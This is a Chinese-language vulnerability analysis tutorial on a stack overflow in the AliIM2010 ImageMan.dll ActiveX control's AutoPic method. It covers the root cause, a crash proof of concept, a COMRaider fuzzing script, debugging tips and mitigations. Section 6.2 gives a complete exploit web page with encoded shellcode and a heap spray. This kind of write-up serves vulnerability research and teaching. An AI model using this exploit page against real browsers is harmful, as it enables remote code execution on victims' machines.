漏洞分析学习之某ActiveX控件imageMan.dll栈溢出
字数 1693 2025-08-26 22:12:03
ActiveX控件imageMan.dll栈溢出漏洞分析与利用教学文档
1. 漏洞概述
本漏洞存在于阿里旺旺(AliIM2010)的ActiveX控件ImageMan.dll中,具体是AutoPic函数存在栈溢出漏洞。攻击者可以通过精心构造的网页触发该漏洞,最终实现远程代码执行。
2. 环境配置
2.1 测试环境
| 组件 | 推荐配置 | 备注 |
|---|---|---|
| 操作系统 | Windows XP SP3 简体中文版 | |
| 虚拟机 | VMware 15.5 | |
| 调试器 | OllyDbg (吾爱破解版) | |
| 反汇编器 | IDA Pro 7.0 | |
| 漏洞软件 | AliIM2010_taobao 6.50.00C |
2.2 工具准备
- 漏洞战争随书资料(可从GitHub下载)
- COMRaider v0.0.134 (用于Fuzzing测试)
- Windbg (可选)
3. 漏洞分析
3.1 漏洞函数分析
漏洞位于ImageMan.dll中的AutoPic函数,关键代码如下:
int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
// ... 变量声明省略 ...
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
v7 = strrchr(&FullPath, '\\');
mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1); // 触发崩溃的关键点
// ... 后续代码省略 ...
}
3.2 漏洞触发机制
WideCharToMultiByte将输入的宽字符串转换为多字节字符串strrchr查找字符串中最后一个反斜杠\的位置mbsnbcpy执行复制操作,复制的长度为v7 - &FullPath + 1
漏洞成因:
- 当输入字符串不包含反斜杠
\时,strrchr返回NULL NULL - &FullPath + 1将产生一个极大的长度值- 导致
mbsnbcpy复制时发生栈溢出
4. POC分析
4.1 基本POC
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
4.2 POC关键点
- 通过
<object>标签加载ActiveX控件 - 使用控件的CLSID:
128D0E38-1FF4-47C3-B0F7-0BAF90F568BF - 构造超长字符串(1111个"A")作为参数调用
AutoPic方法
5. Fuzzing测试
使用COMRaider工具进行自动化Fuzzing测试:
- 加载目标DLL:
C:\Program Files\AliWangWang\Pictool\ImageMan.dll - 选择
AutoPic方法进行Fuzzing - COMRaider生成的测试脚本示例:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll"
prototype = "Sub AutoPic ( ByVal szFileName As String , ByRef szOut As String )"
memberName = "AutoPic"
progid = "IMAGEMANLib.ImageManager"
argCount = 2
arg1=String(2068, "A")
arg2="defaultV"
target.AutoPic arg1 ,arg2
</script></job></package>
6. 漏洞利用
6.1 利用原理
- 通过堆喷射(Heap Spray)技术在内存中布置Shellcode
- 利用栈溢出覆盖返回地址,跳转到布置好的Shellcode
6.2 完整EXP
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
6.3 堆喷射技术要点
- JavaScript中字符串赋值不会立即分配新内存,只有进行连接操作时才会分配
- 使用
unescape函数将编码的Shellcode转换为二进制数据 - 通过大量分配内存块增加Shellcode命中的概率
7. 调试技巧
7.1 调试方法
- 附加进程:需要附加IE浏览器进程而非阿里旺旺进程
- Windbg命令:
sxe ld:ImageMan.dll在DLL加载时中断 - 栈回溯:通过堆栈窗口找到返回地址,逐步追溯漏洞触发点
7.2 常见问题解决
- OllyDbg无法中断:可能是由于进入了Ring0层,尝试更换OllyDbg版本或配置
- Windbg中断在gdiplus.dll:这是正常现象,需继续执行直到触发漏洞
8. 防御措施
- 禁用或卸载有漏洞的ActiveX控件
- 升级到修复漏洞的阿里旺旺版本
- 在IE中设置高安全级别,禁止未签名的ActiveX控件运行
9. 参考资源
- 漏洞战争随书资料(GitHub)
- COMRaider工具: http://labs.idefense.com
- MSDN文档:
mbsnbcpy,strrchr,WideCharToMultiByte等函数说明
10. 总结
本漏洞是典型的ActiveX控件栈溢出漏洞,通过分析可以学习到:
- ActiveX控件的漏洞分析方法
- 栈溢出漏洞的触发原理
- 堆喷射技术的实际应用
- 复杂环境下的调试技巧